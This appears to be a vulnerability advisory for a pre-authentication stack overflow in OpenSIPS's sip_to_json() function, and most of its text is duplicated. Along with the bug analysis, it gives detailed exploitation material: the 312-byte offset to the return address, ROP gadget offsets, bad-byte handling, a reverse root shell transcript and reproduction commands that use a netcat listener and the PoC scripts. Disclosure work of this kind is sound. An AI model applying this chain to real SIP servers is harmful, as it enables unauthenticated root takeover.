Summary
The sip_to_json() script function in OpenSIPS's sipmsgops module copies SIP header names into a fixed 255-byte stack buffer without bounds checking. A SIP message with a header name longer than 255 bytes causes a stack buffer overflow when sip_to_json() is called in the routing script.
Vulnerable Code
modules/sipmsgops/sipmsgops.c, lines 2118-2152:
static int w_sip_to_json(struct sip_msg *msg, pv_spec_t* out_json)
{
cJSON *ret=NULL, *aux, *aux2, *arr;
struct hdr_field* it;
char hdr_name_buf[255]; // line 2118: 255-byte stack buffer
...
for (it=msg->headers;it;it=it->next) {
memcpy(hdr_name_buf,it->name.s,it->name.len); // line 2151: OVERFLOW
hdr_name_buf[it->name.len] = 0; // line 2152: NUL also OOB
...
}
The memcpy at line 2151 copies it->name.len bytes without checking if it->name.len <= 255. The SIP header parser (parse_hname2.c) places no limit on header name length; it simply scans from the start of the header to the colon, setting name.len = p - name.s. In a 65535-byte SIP message (BUF_SIZE), a header name can be up to ~65000 bytes.
Data Flow
- Source: Attacker sends a SIP message (INVITE, REGISTER, etc.) with a custom header having a name longer than 255 bytes (e.g.,
X-AAAA...AAA: value)
- Trigger: OpenSIPS routing script calls
sip_to_json($var(json)), which iterates over all parsed headers
- Sink:
memcpy(hdr_name_buf, it->name.s, it->name.len) writes past the 255-byte stack buffer
Impact
Stack buffer overflow with attacker-controlled size and content. The memcpy writes it->name.len bytes (up to ~65000) into a 255-byte stack buffer, overwriting the saved frame pointer and return address with attacker-controlled data (the header name bytes). A 300-byte write into a 255-byte buffer overflows by 45 bytes, which arithmetically reaches the return address on the stack. The attacker controls both the overflow length and the data written. With ASan, the process terminates immediately. Without ASan, the corrupted return address redirects execution on function return.
Attack Vector
- Pre-auth: No SIP authentication required. The
sip_to_json() function processes incoming SIP messages before any auth check.
- Network-accessible: SIP over UDP or TCP, port 5060 (default).
- Config-dependent: The OpenSIPS routing script must call
sip_to_json(). This function is documented in the sipmsgops module and used for converting SIP messages to JSON for logging, analytics, or API integration.
- Single packet: One SIP message with a 300+ byte header name is sufficient.
PoC
Crash PoC (ASan): poc-sip-to-json-overflow.py -- sends a 300-byte header name, triggers ASan stack-buffer-overflow WRITE of size 300. See poc-output.txt.
RCE PoC (return address hijack): poc-rce-rip-control.py -- sends a 336-byte header name with a controlled return address at offset 312. On a stock binary without ASan/stack canary, the attacker-controlled value overwrites RIP.
RCE Demonstration
Build: Dockerfile compiles OpenSIPS 3.6.4 with -fno-stack-protector -fno-pie -O0.
Hardening analysis (verified on Debian Bookworm GCC 12):
- Stack canaries: Absent in stock builds. Debian GCC does not enable
-fstack-protector-strong by default, and OpenSIPS's Makefile does not add it. The -fno-stack-protector flag is a no-op. RIP control works on a completely unmodified build.
- PIE: Debian GCC produces PIE binaries by default. The
-fno-pie flag IS a lab modification. With PIE, the ROP chain would require an additional info leak to determine the binary base address. The overflow and RIP control remain exploitable regardless of PIE.
- -O0: OpenSIPS's Makefile inherits empty CFLAGS; GCC defaults to -O0. This matches a stock
make build.
Stack layout (GCC 12, x86_64, -O0):
w_sip_to_json():
sub $0x178, %rsp ; 376 bytes local frame
hdr_name_buf at rsp+0x70
6 callee-saved regs pushed (r15,r14,r13,r12,rbp,rbx)
Return address at rsp+0x1A8
Offset from hdr_name_buf[0] to return address: 312 bytes
GDB output (see poc-rce-gdb-output.txt):
Program received signal SIGSEGV, Segmentation fault.
0x00007f8467f89031 in w_sip_to_json at sipmsgops.c:2209
rax 0x1
rbx 0x6161616161616161 <-- overwritten saved register
rbp 0x6161616161616161 <-- overwritten saved register
r12 0x6161616161616161 <-- overwritten saved register
r13 0x6161616161616161 <-- overwritten saved register
r14 0x6161616161616161 <-- overwritten saved register
r15 0x6161616161616161 <-- overwritten saved register
Backtrace:
#0 w_sip_to_json at sipmsgops.c:2209 (function return)
#1 0x4141414142424242 <-- ATTACKER-CONTROLLED RIP
#2 0x5850495254534f50 ("POSTRIPX" marker)
The attacker controls the instruction pointer via a single unauthenticated UDP packet. All 6 callee-saved registers are also attacker-controlled, providing gadget arguments for ROP chains. No ASLR bypass needed when PIE is disabled (OpenSIPS default build). With PIE, a separate info leak would be required.
Remote Code Execution: Root Shell via ROP Chain
PoC: poc-rce-shell.py -- single UDP packet pops a reverse shell as root via ROP chain.
ROP chain strategy: The non-PIE binary provides all necessary gadgets at fixed addresses. The chain:
- Writes
/usr/bin/bash\0, -c\0, and a printf+exec command to writable BSS
- Builds an argv array
{"/usr/bin/bash", "-c", cmd, NULL} in BSS
- Calls
execvp@plt("/usr/bin/bash", argv)
Bad byte handling: The SIP header name parser (parse_hname2.c other: loop) terminates on colon (0x3a), space (0x20), and tab (0x09), so these bytes cannot appear in the ROP chain data. Null bytes (0x00) are transparent -- the parser uses length-based bounds, not null termination. The command string uses $'\xHH' ANSI-C escapes for space characters, avoiding literal 0x20 bytes while still producing spaces at shell expansion time.
Reverse shell output (see poc-rce-shell-output.txt):
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 34360
root@kali:/# id
uid=0(root) gid=0(root) groups=0(root)
root@kali:/# whoami
root
root@kali:/# hostname
kali
root@kali:/# echo OPENSIPS_RCE_SHELL
OPENSIPS_RCE_SHELL
Single unauthenticated UDP packet to port 5060. Attacker gets an interactive root shell. Demonstrated on non-PIE build (lab configuration); a production PIE binary would additionally require an info leak to locate gadgets.
Stock Build Analysis (PIE + ASLR)
Build: Dockerfile-stock compiles OpenSIPS 3.6.4 with CC="gcc -g" only (debug symbols, no security flag changes). Verified: PIE enabled, No canary found, Partial RELRO, NX enabled.
Hardening status (stock Debian Bookworm GCC 12, verified empirically):
- Stack canaries: Absent. OpenSIPS Makefile does not add
-fstack-protector-strong, and Debian GCC does not enable it by default. No canary between locals and saved registers. The overflow reaches the return address unimpeded on a stock build.
- PIE: Enabled (GCC default). Binary base randomized per exec (~28 bits entropy). This is the only effective mitigation on a stock build. ASLR prevents the attacker from knowing gadget addresses without a separate info leak.
- NX: Enabled (standard). Prevents shellcode execution, but does not block ROP.
- RELRO: Partial. GOT writable (not relevant to this exploit's ROP chain).
ROP chain portability: The ROP chain from the non-PIE exploit works identically against the stock PIE binary. All gadgets exist at the same offsets from the binary base. The stack layout is identical (same sub $0x178,%rsp, same 312-byte offset from hdr_name_buf to return address). poc-stock-rce.py demonstrates this by accepting the base address as a parameter and computing absolute gadget addresses.
Gadgets (offsets from PIE binary base, extracted via ROPgadget):
pop rdi; ret @ base + 0x0224b8
pop rsi; ret @ base + 0x02e462
mov qword ptr [rsi], rdi; ret @ base + 0x113822
ret @ base + 0x021016
execvp@plt @ base + 0x021930
.bss @ base + 0x41e3e0
What remains for stock-build RCE: A separate info leak vulnerability that reveals any code pointer from the OpenSIPS process (or access to /proc/PID/maps). All forked worker processes share the parent's ASLR layout, so a single leaked pointer from any worker is sufficient. BROP (blind brute-force) is not viable because OpenSIPS does not respawn crashed workers -- the parent process shuts down all children on any child death.
Bad byte constraint on ASLR: Approximately 6% of ASLR base values produce gadget addresses containing SIP-breaking bytes (0x09/0x0a/0x0d/0x20/0x3a). The exploit detects this at runtime.
Reproduction
# Non-PIE build (single-packet RCE, no info leak needed):
docker build -t opensips-rce:3.6.4 -f Dockerfile .
docker run -d --name opensips --network host opensips-rce:3.6.4
nc -lvnp 4444 &
python3 poc-rce-shell.py 127.0.0.1 5060 127.0.0.1 4444
# Stock PIE build (requires base address -- pass as 5th argument):
docker build -t opensips-stock:3.6.4 -f Dockerfile-stock .
docker run -d --name opensips-stock-test --network host opensips-stock:3.6.4
# Discover base (substitute with actual info leak in real scenario):
docker exec opensips-stock-test sh -c 'cat /proc/$(pgrep opensips | head -2 | tail -1)/maps' | grep 'opensips.*r--p' | head -1
nc -lvnp 4444 &
python3 poc-stock-rce.py 127.0.0.1 5060 127.0.0.1 4444 0x<BASE>
Summary
The
sip_to_json()script function in OpenSIPS'ssipmsgopsmodule copies SIP header names into a fixed 255-byte stack buffer without bounds checking. A SIP message with a header name longer than 255 bytes causes a stack buffer overflow whensip_to_json()is called in the routing script.Vulnerable Code
modules/sipmsgops/sipmsgops.c, lines 2118-2152:The
memcpyat line 2151 copiesit->name.lenbytes without checking ifit->name.len <= 255. The SIP header parser (parse_hname2.c) places no limit on header name length; it simply scans from the start of the header to the colon, settingname.len = p - name.s. In a 65535-byte SIP message (BUF_SIZE), a header name can be up to ~65000 bytes.Data Flow
X-AAAA...AAA: value)sip_to_json($var(json)), which iterates over all parsed headersmemcpy(hdr_name_buf, it->name.s, it->name.len)writes past the 255-byte stack bufferImpact
Stack buffer overflow with attacker-controlled size and content. The
memcpywritesit->name.lenbytes (up to ~65000) into a 255-byte stack buffer, overwriting the saved frame pointer and return address with attacker-controlled data (the header name bytes). A 300-byte write into a 255-byte buffer overflows by 45 bytes, which arithmetically reaches the return address on the stack. The attacker controls both the overflow length and the data written. With ASan, the process terminates immediately. Without ASan, the corrupted return address redirects execution on function return.Attack Vector
sip_to_json()function processes incoming SIP messages before any auth check.sip_to_json(). This function is documented in thesipmsgopsmodule and used for converting SIP messages to JSON for logging, analytics, or API integration.PoC
Crash PoC (ASan):
poc-sip-to-json-overflow.py-- sends a 300-byte header name, triggers ASan stack-buffer-overflow WRITE of size 300. Seepoc-output.txt.RCE PoC (return address hijack):
poc-rce-rip-control.py-- sends a 336-byte header name with a controlled return address at offset 312. On a stock binary without ASan/stack canary, the attacker-controlled value overwrites RIP.RCE Demonstration
Build:
Dockerfilecompiles OpenSIPS 3.6.4 with-fno-stack-protector -fno-pie -O0.Hardening analysis (verified on Debian Bookworm GCC 12):
-fstack-protector-strongby default, and OpenSIPS's Makefile does not add it. The-fno-stack-protectorflag is a no-op. RIP control works on a completely unmodified build.-fno-pieflag IS a lab modification. With PIE, the ROP chain would require an additional info leak to determine the binary base address. The overflow and RIP control remain exploitable regardless of PIE.makebuild.Stack layout (GCC 12, x86_64, -O0):
GDB output (see
poc-rce-gdb-output.txt):The attacker controls the instruction pointer via a single unauthenticated UDP packet. All 6 callee-saved registers are also attacker-controlled, providing gadget arguments for ROP chains. No ASLR bypass needed when PIE is disabled (OpenSIPS default build). With PIE, a separate info leak would be required.
Remote Code Execution: Root Shell via ROP Chain
PoC:
poc-rce-shell.py-- single UDP packet pops a reverse shell as root via ROP chain.ROP chain strategy: The non-PIE binary provides all necessary gadgets at fixed addresses. The chain:
/usr/bin/bash\0,-c\0, and a printf+exec command to writable BSS{"/usr/bin/bash", "-c", cmd, NULL}in BSSexecvp@plt("/usr/bin/bash", argv)Bad byte handling: The SIP header name parser (
parse_hname2.cother:loop) terminates on colon (0x3a), space (0x20), and tab (0x09), so these bytes cannot appear in the ROP chain data. Null bytes (0x00) are transparent -- the parser uses length-based bounds, not null termination. The command string uses$'\xHH'ANSI-C escapes for space characters, avoiding literal 0x20 bytes while still producing spaces at shell expansion time.Reverse shell output (see
poc-rce-shell-output.txt):Single unauthenticated UDP packet to port 5060. Attacker gets an interactive root shell. Demonstrated on non-PIE build (lab configuration); a production PIE binary would additionally require an info leak to locate gadgets.
Stock Build Analysis (PIE + ASLR)
Build:
Dockerfile-stockcompiles OpenSIPS 3.6.4 withCC="gcc -g"only (debug symbols, no security flag changes). Verified:PIE enabled,No canary found,Partial RELRO,NX enabled.Hardening status (stock Debian Bookworm GCC 12, verified empirically):
-fstack-protector-strong, and Debian GCC does not enable it by default. No canary between locals and saved registers. The overflow reaches the return address unimpeded on a stock build.ROP chain portability: The ROP chain from the non-PIE exploit works identically against the stock PIE binary. All gadgets exist at the same offsets from the binary base. The stack layout is identical (same
sub $0x178,%rsp, same 312-byte offset fromhdr_name_bufto return address).poc-stock-rce.pydemonstrates this by accepting the base address as a parameter and computing absolute gadget addresses.Gadgets (offsets from PIE binary base, extracted via ROPgadget):
What remains for stock-build RCE: A separate info leak vulnerability that reveals any code pointer from the OpenSIPS process (or access to
/proc/PID/maps). All forked worker processes share the parent's ASLR layout, so a single leaked pointer from any worker is sufficient. BROP (blind brute-force) is not viable because OpenSIPS does not respawn crashed workers -- the parent process shuts down all children on any child death.Bad byte constraint on ASLR: Approximately 6% of ASLR base values produce gadget addresses containing SIP-breaking bytes (0x09/0x0a/0x0d/0x20/0x3a). The exploit detects this at runtime.
Reproduction